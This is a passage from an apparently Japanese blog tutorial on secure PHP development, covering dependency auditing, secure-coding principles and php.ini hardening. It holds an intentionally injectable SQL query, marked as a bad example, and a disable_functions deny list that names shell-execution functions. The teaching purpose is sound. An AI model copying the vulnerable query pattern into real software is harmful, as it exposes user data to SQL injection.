\u30ad\u30e5\u30ea\u30c6\u30a3\u30dd\u30ea\u30b7\u30fc\u306e\u6709\u7121<\/td><\/tr><tr><td>\u30b3\u30fc\u30c9\u306e\u54c1\u8cea<\/td><td>\u30c6\u30b9\u30c8\u30ab\u30d0\u30ec\u30c3\u30b8\u3001\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u4f7f\u7528<\/td><\/tr><\/tbody><\/table><\/figure>\n<\/div>\n\n\n<h4 class=\"wp-block-heading\" id=\"i-108\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h4>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u76e3\u67fb<\/strong>\uff1a\u5c11\u306a\u304f\u3068\u3082\u6708\u306b1\u56de\u306f\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027\u30c1\u30a7\u30c3\u30af\u3092\u5b9f\u65bd<\/li>\n\n\n\n<li><strong>\u8106\u5f31\u6027\u60c5\u5831\u306e\u8ffd\u8de1<\/strong>\uff1aPHP Security Advisories\u306a\u3069\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u6e90\u3092\u30d5\u30a9\u30ed\u30fc<\/li>\n\n\n\n<li><strong>\u30d9\u30f3\u30c0\u30fc\u30ed\u30c3\u30af<\/strong>\uff1a\u4fe1\u983c\u3067\u304d\u308b\u30d9\u30f3\u30c0\u30fc\u307e\u305f\u306f\u30d1\u30c3\u30b1\u30fc\u30b8\u30ea\u30dd\u30b8\u30c8\u30ea\u306e\u307f\u3092\u4f7f\u7528<\/li>\n\n\n\n<li><strong>\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30d1\u30c3\u30b1\u30fc\u30b8\u30ea\u30dd\u30b8\u30c8\u30ea\u306e\u691c\u8a0e<\/strong>\uff1a\u91cd\u8981\u306a\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u3067\u306f\u3001\u691c\u8a3c\u6e08\u307f\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u307f\u3092\u542b\u3080\u30d7\u30e9\u30a4\u30d9\u30fc\u30c8\u30ea\u30dd\u30b8\u30c8\u30ea\u306e\u4f7f\u7528\u3092\u691c\u8a0e<\/li>\n\n\n\n<li><strong>\u30a4\u30f3\u30c6\u30b0\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af<\/strong>\uff1a\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30cf\u30c3\u30b7\u30e5\u5024\u3092\u691c\u8a3c\u3057\u3066\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u6574\u5408\u6027\u3092\u78ba\u8a8d<\/li>\n<\/ol>\n\n\n\n<p>\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306f\u3001\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7dad\u6301\u6d3b\u52d5\u306e\u91cd\u8981\u306a\u4e00\u90e8\u3067\u3059\u3002\u9069\u5207\u306a\u30d1\u30c3\u30b1\u30fc\u30b8\u7ba1\u7406\u3068\u5b9a\u671f\u7684\u306a\u66f4\u65b0\u306b\u3088\u308a\u3001\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u306e\u30ea\u30b9\u30af\u3092\u5927\u5e45\u306b\u8efd\u6e1b\u3067\u304d\u307e\u3059\u3002Composer 2.2\u4ee5\u964d\u3067\u5c0e\u5165\u3055\u308c\u305f <code>composer audit<\/code> \u30b3\u30de\u30f3\u30c9\u3092\u6d3b\u7528\u3057\u3001\u5b9a\u671f\u7684\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u3092\u5b9f\u65bd\u3059\u308b\u3053\u3068\u3092\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"i-109\">\u5b89\u5168\u306aPHP\u958b\u767a\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-110\">\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u57fa\u672c\u539f\u5247<\/h3>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u3068\u306f\u3001\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u958b\u767a\u306e\u904e\u7a0b\u3067\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u8003\u616e\u3057\u305f\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u624b\u6cd5\u3092\u5b9f\u8df5\u3057\u3001\u8106\u5f31\u6027\u306e\u767a\u751f\u3092\u672a\u7136\u306b\u9632\u3050\u30a2\u30d7\u30ed\u30fc\u30c1\u3067\u3059\u3002PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u306b\u304a\u3044\u3066\u306f\u3001\u4ee5\u4e0b\u306e\u57fa\u672c\u539f\u5247\u3092\u7406\u89e3\u3057\u9069\u7528\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-111\">1. \u3059\u3079\u3066\u306e\u5165\u529b\u306f\u4fe1\u983c\u3057\u306a\u3044<\/h4>\n\n\n\n<p>Web\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u306e\u591a\u304f\u306f\u3001\u5916\u90e8\u304b\u3089\u306e\u5165\u529b\u3092\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30b5\u30cb\u30bf\u30a4\u30ba\u305b\u305a\u306b\u51e6\u7406\u3059\u308b\u3053\u3068\u3067\u767a\u751f\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u60aa\u3044\u4f8b\n$username = $_POST['username'];\n$query = \"SELECT * FROM users WHERE username = '$username'\";\n\n\/\/ \u826f\u3044\u4f8b\n$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_SPECIAL_CHARS);\n$stmt = $pdo-&gt;prepare(\"SELECT * FROM users WHERE username = ?\");\n$stmt-&gt;execute([$username]);\n<\/pre>\n\n\n\n<p>\u3059\u3079\u3066\u306e\u5165\u529b\u6e90\uff08GET\u30d1\u30e9\u30e1\u30fc\u30bf\u3001POST\u30c7\u30fc\u30bf\u3001Cookie\u306a\u3069\uff09\u304b\u3089\u306e\u30c7\u30fc\u30bf\u3092\u6f5c\u5728\u7684\u306b\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u6271\u3044\u3001\u9069\u5207\u306b\u691c\u8a3c\u30fb\u30b5\u30cb\u30bf\u30a4\u30ba\u3059\u308b\u3053\u3068\u304c\u57fa\u672c\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-112\">2. \u6700\u5c0f\u6a29\u9650\u306e\u539f\u5247<\/h4>\n\n\n\n<p>\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u5404\u30b3\u30f3\u30dd\u30fc\u30cd\u30f3\u30c8\u3084\u30e6\u30fc\u30b6\u30fc\u306b\u5bfe\u3057\u3066\u3001\u5fc5\u8981\u6700\u5c0f\u9650\u306e\u6a29\u9650\u306e\u307f\u3092\u4e0e\u3048\u308b\u3068\u3044\u3046\u539f\u5247\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u6642\u306e\u4f8b\n$options = [\n    PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,\n    PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC\n];\n\n\/\/ \u8aad\u307f\u53d6\u308a\u5c02\u7528\u64cd\u4f5c\u306b\u306f\u8aad\u307f\u53d6\u308a\u5c02\u7528\u30e6\u30fc\u30b6\u30fc\u3092\u4f7f\u7528\nif ($operation === 'read') {\n    $pdo = new PDO($dsn, 'read_only_user', 'password', $options);\n} else {\n    $pdo = new PDO($dsn, 'read_write_user', 'password', $options);\n}\n<\/pre>\n\n\n\n<p>\u3053\u306e\u539f\u5247\u306f\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u63a5\u7d9a\u3001\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u64cd\u4f5c\u3001API\u30a2\u30af\u30bb\u30b9\u306a\u3069\u3001\u3055\u307e\u3056\u307e\u306a\u5074\u9762\u306b\u9069\u7528\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-113\">3. \u591a\u5c64\u9632\u5fa1\uff08Defense in Depth\uff09<\/h4>\n\n\n\n<p>\u5358\u4e00\u306e\u9632\u5fa1\u5c64\u306b\u4f9d\u5b58\u305b\u305a\u3001\u8907\u6570\u306e\u72ec\u7acb\u3057\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30e1\u30ab\u30cb\u30ba\u30e0\u3092\u7d44\u307f\u5408\u308f\u305b\u3066\u4f7f\u7528\u3059\u308b\u6226\u7565\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u591a\u5c64\u9632\u5fa1\u306e\u4f8b\uff1a\u8a8d\u8a3c\u3068\u8a8d\u53ef\u306e\u7d44\u307f\u5408\u308f\u305b\nfunction accessResource($resource_id) {\n    \/\/ \u30ec\u30a4\u30e4\u30fc1: \u30e6\u30fc\u30b6\u30fc\u304c\u8a8d\u8a3c\u3055\u308c\u3066\u3044\u308b\u304b\u78ba\u8a8d\n    if (!isLoggedIn()) {\n        redirectToLogin();\n        exit;\n    }\n    \n    \/\/ \u30ec\u30a4\u30e4\u30fc2: CSRF\u30c8\u30fc\u30af\u30f3\u306e\u691c\u8a3c\n    if (!validateCSRFToken($_POST['csrf_token'])) {\n        logSecurityEvent('CSRF attempt', $_SERVER['REMOTE_ADDR']);\n        die('\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a8\u30e9\u30fc: \u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u3067\u3059');\n    }\n    \n    \/\/ \u30ec\u30a4\u30e4\u30fc3: \u30ea\u30bd\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u306e\u78ba\u8a8d\n    if (!userCanAccess(getCurrentUserId(), $resource_id)) {\n        logSecurityEvent('Unauthorized access attempt', $_SERVER['REMOTE_ADDR']);\n        http_response_code(403);\n        return false;\n    }\n    \n    \/\/ \u30ec\u30a4\u30e4\u30fc4: \u5165\u529b\u30c7\u30fc\u30bf\u306e\u691c\u8a3c\n    $resource_id = filter_var($resource_id, FILTER_VALIDATE_INT);\n    if ($resource_id === false) {\n        logSecurityEvent('Invalid input', $_SERVER['REMOTE_ADDR']);\n        return false;\n    }\n    \n    \/\/ \u3059\u3079\u3066\u306e\u691c\u8a3c\u3092\u901a\u904e\u3057\u305f\u5834\u5408\u306e\u307f\u30ea\u30bd\u30fc\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u3092\u8a31\u53ef\n    return getResource($resource_id);\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-114\">4. \u660e\u793a\u7684\u306a\u578b\u5ba3\u8a00\u306e\u4f7f\u7528<\/h4>\n\n\n\n<p>PHP 7.0\u4ee5\u964d\u3067\u306f\u3001\u95a2\u6570\u30d1\u30e9\u30e1\u30fc\u30bf\u3068\u623b\u308a\u5024\u306e\u578b\u3092\u660e\u793a\u7684\u306b\u5ba3\u8a00\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u30b3\u30fc\u30c9\u306e\u5b89\u5168\u6027\u3068\u53ef\u8aad\u6027\u304c\u5411\u4e0a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u578b\u5ba3\u8a00\u306e\u4f8b\nfunction createUser(string $username, string $email, int $role_id): ?int {\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u4f5c\u6210\u30ed\u30b8\u30c3\u30af\n    if ($success) {\n        return $user_id; \/\/ \u6574\u6570\u306e\u30e6\u30fc\u30b6\u30fcID\u3092\u8fd4\u3059\n    }\n    return null; \/\/ \u5931\u6557\u3057\u305f\u5834\u5408\u306fnull\u3092\u8fd4\u3059\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-115\">5. \u30a8\u30e9\u30fc\u51e6\u7406\u3068\u4f8b\u5916\u7ba1\u7406<\/h4>\n\n\n\n<p>\u30a8\u30e9\u30fc\u3084\u4f8b\u5916\u3092\u9069\u5207\u306b\u51e6\u7406\u3057\u3001\u6a5f\u5bc6\u60c5\u5831\u304c\u6f0f\u6d29\u3057\u306a\u3044\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u9069\u5207\u306a\u4f8b\u5916\u51e6\u7406\ntry {\n    \/\/ \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u306a\u3069\n    $result = $db-&gt;query($sql);\n    if (!$result) {\n        throw new DatabaseException(\"\u30af\u30a8\u30ea\u5b9f\u884c\u30a8\u30e9\u30fc\");\n    }\n} catch (DatabaseException $e) {\n    \/\/ \u30a8\u30e9\u30fc\u3092\u30ed\u30b0\u306b\u8a18\u9332\n    error_log($e-&gt;getMessage() . \": \" . $sql);\n    \/\/ \u30e6\u30fc\u30b6\u30fc\u306b\u306f\u4e00\u822c\u7684\u306a\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u8868\u793a\n    return \"\u30b7\u30b9\u30c6\u30e0\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u7ba1\u7406\u8005\u306b\u304a\u554f\u3044\u5408\u308f\u305b\u304f\u3060\u3055\u3044\u3002\";\n} catch (Exception $e) {\n    \/\/ \u305d\u306e\u4ed6\u306e\u4f8b\u5916\u51e6\u7406\n    error_log($e-&gt;getMessage());\n    return \"\u4e88\u671f\u3057\u306a\u3044\u30a8\u30e9\u30fc\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\";\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-116\">6. \u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\u30a2\u30d7\u30ed\u30fc\u30c1\u306e\u63a1\u7528<\/h4>\n\n\n\n<p>\u7981\u6b62\u30ea\u30b9\u30c8\uff08\u30d6\u30e9\u30c3\u30af\u30ea\u30b9\u30c8\uff09\u3088\u308a\u3082\u8a31\u53ef\u30ea\u30b9\u30c8\uff08\u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\uff09\u3092\u4f7f\u7528\u3059\u308b\u65b9\u304c\u5b89\u5168\u3067\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u30d6\u30e9\u30c3\u30af\u30ea\u30b9\u30c8\uff08\u60aa\u3044\u4f8b\uff09\n$ext = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);\nif ($ext === 'php' || $ext === 'exe' || $ext === 'js') {\n    die('\u3053\u306e\u7a2e\u985e\u306e\u30d5\u30a1\u30a4\u30eb\u306f\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3067\u304d\u307e\u305b\u3093');\n}\n\n\/\/ \u30db\u30ef\u30a4\u30c8\u30ea\u30b9\u30c8\uff08\u826f\u3044\u4f8b\uff09\n$allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];\n$ext = strtolower(pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION));\nif (!in_array($ext, $allowed_extensions)) {\n    die('\u8a31\u53ef\u3055\u308c\u3066\u3044\u308b\u30d5\u30a1\u30a4\u30eb\u5f62\u5f0f\u306f ' . implode(', ', $allowed_extensions) . ' \u306e\u307f\u3067\u3059');\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-117\">7. \u30c7\u30d5\u30a9\u30eb\u30c8\u306f\u5b89\u5168\u306a\u72b6\u614b\u306b<\/h4>\n\n\n\n<p>\u8a2d\u5b9a\u3084\u30aa\u30d7\u30b7\u30e7\u30f3\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u5024\u306f\u3001\u5e38\u306b\u6700\u3082\u5b89\u5168\u306a\u72b6\u614b\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ \u8a2d\u5b9a\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u5024\u4f8b\nfunction connectToDatabase($options = []) {\n    \/\/ \u30c7\u30d5\u30a9\u30eb\u30c8\u306f\u5b89\u5168\u306a\u8a2d\u5b9a\n    $defaults = [\n        'use_ssl' =&gt; true,\n        'verify_cert' =&gt; true,\n        'timeout' =&gt; 30,\n        'readonly' =&gt; true\n    ];\n    \n    \/\/ \u30e6\u30fc\u30b6\u30fc\u6307\u5b9a\u306e\u30aa\u30d7\u30b7\u30e7\u30f3\u3067\u4e0a\u66f8\u304d\n    $options = array_merge($defaults, $options);\n    \n    \/\/ \u8a2d\u5b9a\u3092\u4f7f\u7528\u3057\u3066\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u306b\u63a5\u7d9a\n    \/\/ ...\n}\n<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-118\">\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u5b9f\u8df5\u3068\u6587\u5316\u306e\u91b8\u6210<\/h4>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306f\u5358\u306a\u308b\u6280\u8853\u7684\u306a\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u3067\u306f\u306a\u304f\u3001\u958b\u767a\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u5171\u6709\u3059\u3079\u304d\u6587\u5316\u3067\u3059\u3002<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>\u30b3\u30fc\u30c9\u30ec\u30d3\u30e5\u30fc\u306b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306e\u8996\u70b9\u3092\u542b\u3081\u308b<\/strong>\n<ul class=\"wp-block-list\">\n<li>OWASP Top 10\u306a\u3069\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30a7\u30c3\u30af\u30ea\u30b9\u30c8\u3092\u4f7f\u7528<\/li>\n\n\n\n<li>\u6f5c\u5728\u7684\u306a\u8106\u5f31\u6027\u3092\u7279\u5b9a\u3059\u308b\u305f\u3081\u306e\u30ec\u30d3\u30e5\u30fc\u624b\u9806\u306e\u6a19\u6e96\u5316<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u7d99\u7d9a\u7684\u306a\u5b66\u7fd2\u3068\u77e5\u8b58\u306e\u5171\u6709<\/strong>\n<ul class=\"wp-block-list\">\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u3059\u308b\u6700\u65b0\u60c5\u5831\u306e\u30c1\u30fc\u30e0\u5185\u5171\u6709<\/li>\n\n\n\n<li>\u5b9a\u671f\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c8\u30ec\u30fc\u30cb\u30f3\u30b0\u306e\u5b9f\u65bd<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306e\u6d3b\u7528<\/strong>\n<ul class=\"wp-block-list\">\n<li>PHPStan\u3084Psalm\u306a\u3069\u306e\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u306b\u3088\u308b\u30b3\u30fc\u30c9\u30c1\u30a7\u30c3\u30af<\/li>\n\n\n\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u7279\u5316\u3057\u305f\u81ea\u52d5\u89e3\u6790\u306e\u5c0e\u5165<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ PHPStan\u306e\u5b9f\u884c\u4f8b\n\/\/ composer require --dev phpstan\/phpstan\n\/\/ vendor\/bin\/phpstan analyse src tests\n<\/pre>\n\n\n\n<p>\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u539f\u5247\u3092\u65e5\u5e38\u7684\u306a\u958b\u767a\u30d7\u30e9\u30af\u30c6\u30a3\u30b9\u306b\u7d44\u307f\u8fbc\u3080\u3053\u3068\u3067\u3001\u3088\u308a\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u958b\u767a\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u539f\u5247\u306f\u958b\u767a\u306e\u521d\u671f\u6bb5\u968e\u304b\u3089\u8003\u616e\u3059\u308b\u3079\u304d\u3067\u3042\u308a\u3001\u5f8c\u4ed8\u3051\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3088\u308a\u3082\u52b9\u679c\u7684\u3067\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-119\">PHP\u306e\u5b89\u5168\u306a\u8a2d\u5b9a \u2013 php.ini \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a<\/h3>\n\n\n\n<p>PHP\u306f\u67d4\u8edf\u306a\u8a00\u8a9e\u3067\u3059\u304c\u3001\u3053\u306e\u67d4\u8edf\u6027\u304c\u6642\u3068\u3057\u3066\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u3092\u751f\u307f\u51fa\u3057\u307e\u3059\u3002<code>php.ini<\/code>\u306e\u9069\u5207\u306a\u8a2d\u5b9a\u306f\u3001\u591a\u304f\u306e\u8106\u5f31\u6027\u3092\u672a\u7136\u306b\u9632\u3050\u52b9\u679c\u7684\u306a\u65b9\u6cd5\u3067\u3059\u3002\u672c\u756a\u74b0\u5883\u3068\u958b\u767a\u74b0\u5883\u3067\u306f\u7570\u306a\u308b\u8a2d\u5b9a\u304c\u5fc5\u8981\u3067\u3042\u308a\u3001\u7279\u306b\u672c\u756a\u74b0\u5883\u3067\u306f\u5b89\u5168\u6027\u3092\u6700\u512a\u5148\u306b\u3057\u305f\u8a2d\u5b9a\u304c\u6c42\u3081\u3089\u308c\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-120\">php.ini\u306e\u4e3b\u8981\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a<\/h4>\n\n\n\n<p>\u4ee5\u4e0b\u306b\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u5f37\u5316\u3059\u308b\u305f\u3081\u306b\u91cd\u8981\u306a<code>php.ini<\/code>\u306e\u8a2d\u5b9a\u9805\u76ee\u3092\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-121\">1. \u30a8\u30e9\u30fc\u8868\u793a\u3068\u5831\u544a<\/h5>\n\n\n\n<p>\u672c\u756a\u74b0\u5883\u3067\u306f\u30a8\u30e9\u30fc\u60c5\u5831\u3092\u8868\u793a\u305b\u305a\u3001\u30ed\u30b0\u306b\u8a18\u9332\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u672c\u756a\u74b0\u5883\u8a2d\u5b9a\ndisplay_errors = Off\ndisplay_startup_errors = Off\nerror_reporting = E_ALL\nlog_errors = On\nerror_log = \/path\/to\/secure\/error.log\nignore_repeated_errors = On\n<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u958b\u767a\u74b0\u5883\u8a2d\u5b9a\ndisplay_errors = On\ndisplay_startup_errors = On\nerror_reporting = E_ALL\nlog_errors = On\nerror_log = \/path\/to\/dev\/error.log\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-122\">2. \u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u9632\u6b62<\/h5>\n\n\n\n<p>\u60aa\u610f\u306e\u3042\u308b\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u6a5f\u80fd\u3092\u5236\u9650\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; \u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u306e\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u3092\u7121\u52b9\u5316\nallow_url_include = Off\n\n; \u53ef\u80fd\u3067\u3042\u308c\u3070\u30ea\u30e2\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30aa\u30fc\u30d7\u30f3\u3082\u7121\u52b9\u5316\uff08\u5fc5\u8981\u306a\u5834\u5408\u306fOn\u306e\u307e\u307e\uff09\nallow_url_fopen = Off\n\n; \u5b9f\u884c\u6642\u306ePHP\u62e1\u5f35\u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u52d5\u7684\u8aad\u307f\u8fbc\u307f\u3092\u7121\u52b9\u5316\nenable_dl = Off\n\n; \u5371\u967a\u306a\u95a2\u6570\u306e\u7121\u52b9\u5316\ndisable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source\n<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"i-123\">3. \u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u30a2\u30af\u30bb\u30b9\u306e\u5236\u9650<\/h5>\n\n\n\n<p>PHP\u304c\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u3092\u5236\u9650\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; 